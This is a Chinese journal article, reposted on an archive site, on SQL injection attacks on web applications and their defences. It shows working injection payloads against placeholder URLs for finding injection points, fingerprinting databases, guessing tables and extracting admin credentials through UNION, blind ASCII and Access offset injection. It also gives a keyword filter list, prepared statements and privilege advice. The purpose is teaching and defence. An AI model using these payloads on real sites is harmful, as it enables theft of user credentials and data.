当前位置:首页 期刊杂志

Web应用的SQL注入防范研究

时间:2024-09-03

◆刘存普 胡 勇



Web应用的SQL注入防范研究

◆刘存普 胡 勇

(四川大学电子信息学院 四川 610065)

SQL注入严重威胁Web应用的安全。本文介绍SQL注入的基本原理,分析SQL注入的基本过程以及几种常见的方法,并从多方面提出防御SQL注入攻击的安全措施。

网络信息安全;SQL注入;防御措施

0 引言

网络安全是信息化的重要基石。网络信息涉及国家的军事、政府、经济等领域及公民的个人信息,其中许多信息是敏感信息,甚至是机密信息,而层出不穷的各种安全漏洞和不断变化的攻击手段,使得网络和信息安全面临艰巨挑战。

目前,针对Web应用程序和数据库的攻击已成为网络安全隐患的主要方面,其具有技术门槛低、可绕过安全设备、攻击回报高等特点。据开放Web应用程序安全项目(Open Web Application Security Project,OWASP)近些年的统计中,注入问题仍然是影响网络安全最严重的漏洞[1]。在许多安全论坛,SQL注入攻击也是热点话题之一,对SQL注入问题的研究非常重要。

1 SQL注入的定义

SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。

2 SQL注入的过程以及方法

SQL注入攻击的一般过程如图1所示。

图1 SQL注入过程

2.1 寻找注入点

下面是一种经典的通过报错判断是否存在SQL注入点的方法:

①http://www.xxx.com/xxx.asp?id=1

②http://www.xxx.com/xxx.asp?id=1 and 1=1

③http://www.xxx.com/xxx.asp?id=1 and 1=2

返回结果如果如下就可以基本确定这个网站存在SQL注入点。

①正常显示。

②正常显示,与①相同。

③页面报错。

2.2 获取后台数据库的信息

不同的数据库注入的方式略有不同。在注入参数后添加一个空格,再写如下代码,根据页面的报错返回信息,就能猜测出网站的数据库类型。

and user>0

user是MS SQL Server的一个固定函数,将user与0相比较,页面会显示错误信息:将nvarchar值“xxx”转换数据类型为int的列时发生语法错误。而Access数据库不存在user,不会产生上述错误信息。另外,下面的两个语句选其中一句执行就能猜测到数据库是MS SQL Server还是Access。因为MS SQL Server中有固定的表sysobject,①返回正常。而Access中的固定表是msysobject,②返回正常。

①and(select count(*)from sysobject)>0

②and(select count(*)from msysobject)>0

在MYSQL中,可以用@@version或是version()来返回当前的版本信息。但同样MSSQL中,也能用@@version返回版本信息。③④返回都是正确时,则是MYSQL。如果③返回错误,④返回正确时,则是MSSQL。

③and version()>0

④and @@version>0

在MSSQL中可以使用函数substring,使用⑤返回成功。ORACLE则只能使用函数substr,使用⑥返回成功。

⑤substring('abc',1,1)=a

⑥substr('abc',1,1)=a

ORACLE还能使用语句banner FROM v$version和banner FROM v$version WHERE rownum=1来返回数据库服务器版本信息。

2.3 读取数据库表的信息

获取数据库表信息包括猜解表名、字段名。

(1)猜表名

可利用语句:and exists(select * from 表名)猜测表名。如果页面返回是正常的,就证明所猜测的表名正确;如果页面返回不正常,那么就证明所猜测的表名不正确,换表名继续执行上述语句,一直到返回正常页面而猜到正确的表名。这里可以用工具组成库表字典进行猜解。如系统常用的存储用户的表名有admin、manage、user、member等。

(2)猜字段

假设user是正确的表名,可利用语句:and exists(select 字段名 from user)猜测字段名。过程与猜解表名相同。常用的字段名有username、password、user、pass、name、pass、pwd、usr、psd等。

(3)查询管理员用户名和口令

①联合查询注入

http://www.xxx.com/xxx.asp?id=1 order by n

这里的n是任意自然数。如果输入n,返回正常的页面,而输入n+1,页面显示不正常,则该网页上的字段数为n+1。这里假设字段数为10,表名为admin。运用联合查询:

http://www.xxx.com/xxx.asp?id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin

网页会返回几个数字(数字在字段数之内),而这些数字就是显示内容的字段,如图2所示,显示位为4,5,7。这时可以将上述所提交4,7分别替换为字段名如username,password如图3所示,可能查询到管理员的用户名和口令。

图2页面字段数显示

图3替换数字后得到的用户名及口令

②ASCII码暴力破解

有些注入点不支持联合查询,用union select网页会报错,得不到字段的内容[2]。这时就要用ASCII码暴力破解。语句:and (select top 1 len(字段名)from 表名)>n,其中n为自然数。当输入n,返回正常的网页,而替换n为n+1,页面报错,则这个字段的内容长度为n+1。再用语句:and(select top 1 asc(mid(字段名,m,1))from 表名)>k,其中m、k也是自然数(n>=m)。分析该语句,最里边的mid(字段名,m,1)函数,1表示截取字段的字符长度为1,m表示从第m个字符开始截取。函数asc()是将函数mid中截取的字符转换成ASCII码。函数top 1,表示返回的第一条记录,上述语句中最右边的“>k”,是将转换的ASCII码值与k比较。经过多次调整k的值,最终得到截取字符的ASCII码。

③Access偏移注入

有些网站能够得到表名,但是由于字段名过于生僻,难以猜解。如果这个网站所用的数据库类型是Access,这时就可以用Access偏移注入。如一个网站通过order by的方法得到字段数为47,表名为admin,其中有个字段为id。用上述的联合查询法没有得到显示位,用union select 1,* from admin。如果返回错误,则继续用union select 1,2,* from admin。以此类推,一直到页面返回正常为止。这里假设到33返回正常页面。这里的*就代表了14(47-33=14)个字段。

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from(admin as a inner join admin as b on a.id=b.id)

这里(admin as a inner join admin as b on a.id=b.id)是admin表自连接,这样from 后面的表就会成为字段数加倍的表。*(14*2=28)代表的字段就会拓宽,就加大了显示用户名和密码在可显示位置的几率。如果还没显示出来就在19(47-14*2=19)后面加个a.id,还没显示再加b.id。

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,a.id,b.id,* from(admin as a inner join admin as b on a.id=b.id)。如果还没显示出来就继续加个c.id,因为又多了一个c.id所以*(14*3=42)所代表的字段数也要加倍。

union select 1,2,3,4,5,a.id,b.id,c.id,* from((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)。如图4所示。

图4 偏移注入

3 SQL注入的防范方法

3.1 敏感字符直接过滤

使用过滤敏感字符的方法对用户提交信息进行检查。SQL注入攻击的敏感字符有:“and”“or”“union”“order”“cmd”“update”“’” “//”“create”“--”等。针对上列的敏感字符,设置相应的字符处理函数。这种过滤方法容易漏掉某些字符,容易绕过,已渐渐被淘汰。

3.2 SQL语句预编译和绑定变量[4]

不将用户提交的内容直接嵌入到数据库执行命令的语句中,而是通过参数进行传递,能有效地防御SQL注入。如:

String sql = "select id,no from user where id=?";

PreparedStatementps = conn.prepareStatement(sql);

ps.setInt(1,id);

ps.executeQuery();

代码中的PreparedStatement,会把SQL语句:"select id,no from user where id=?" 先编译好,也就是SQL的引擎会先进行语法分析,产生语法树,生成执行计划。输入的内容不能造成该SQL语句的命令变化,即使后来提交类似SQL的语句,也不会被当作是SQL语句来执行命令,而只会被当作字符串。

还有种类似的方法,比较用户输入提交前后动态SQL语句的语法结构是否一致来检测SQL注入攻击[3]。

3.3 检查参数类型

SQL语句预编译不能在所有情况下使用,在一些情况下必需得使用字符串拼接的方法。所以应该严格检测参数的类型,也可以使用一些安全性高的函数,用来防止SQL注入攻击。

例如 String sql = "select id,no from user where id=" + id;

在收到使用者输入的数据时,检测字段“id”的内容是否是整数类型,如果不是则一律报错或者弹窗警告。在复杂的情况下还能采用正则表达式来检测数据是否合法。这样也能防御SQL注入攻击。下例就是强制转换所输入数据中特殊字符的代码:

MySQLCodec codec = new MySQLCodec(Mode.STANDARD);

name = ESAPI.encoder().encodeForSQL(codec,name);

String sql = "select id,no from user where name=" + name;

函数“ESAPI.encoder().encodeForSQL(codec,name)”可以把“name”中的一些特殊字符进行转译,这样SQL引擎就不会把“name”中的特殊字符当成SQL命令来进行语法编译了。

3.4 权限管理

删除sa用户,新建一个权限为sa的用户,用户名和口令要有较高的复杂性,以防暴力破解。针对web应用,新建一个web连接用户,去掉所有服务器角色,在用户映射中加入此用户要操作的数据库db_owner和db_public,并另加必须的权限(如insert/delete/select/update等)。

一般的SQL注入都是从网站的前台网页寻找漏洞,可针对前台操作和后台操作分别建立不同的数据库操作用户。只赋予用户需要的最低权限。后台用户的权限也只能是当前数据库的权限。千万不能使用root级的账户连接数据库。

3.5 SQL注入防御模型[5-8]

由于针对SQL注入的攻击方式多种多样,没有单独的一种SQL注入防御技术能够有效的预防所有的SQL注入攻击。所以需要将各种防御方法联合起来运用,共同建立一个防御模型才能更加有效地防御SQL注入攻击。

4 总结

本文对SQL注入的几种方法进行比较详细的讲解。同时从屏蔽关键字、语句预编译、参数类型、用户权限进行对SQL注入的防御。但是这里并没有对如何防止绕过防火墙的SQL注入进行研究,还需要进一步的探索。网站开发与网站管理才是最重要的防御环节,管理人员与开发人员切不可大意马虎。

[1]OWASPFoundation.OWASPTopTenProject[EB/OL].https://www.owasp.org/index.php/Category:OWASP_Top_Ten_ Project,2015.

[2]陈炜.基于手工SQL注入的Web渗透测试技术研究[D].中北大学,2015.

[3]田玉杰,赵泽茂,王丽君等.基于分类的SQL注入攻击双层防御模型研究[J].信息网络安全,2015.

[4]周敬利,王晓峰,余胜生等.一种新的饭SQL注入策略的研究与实现[J].计算机科学,2006.

[5]田宇杰,赵泽茂,张海川等.二阶SQL注入攻击防御模型[J].信息网络安全,2014.

[6]李元鹏.SQL注入扫描分析工具的实现与攻击防范技术研究[D].北京交通大学,2014.

[7]赵阳,郭玉翠.新型SQL注入攻击的研究与防范[J].计算机系统运用,2016.

[8]沈寿忠.基于网络爬虫的SQL注入与XSS漏洞挖掘[D].西安电子科技大学,2009.

免责声明

我们致力于保护作者版权,注重分享,被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自各大过期杂志,内容仅供学习参考,不准确地方联系删除处理!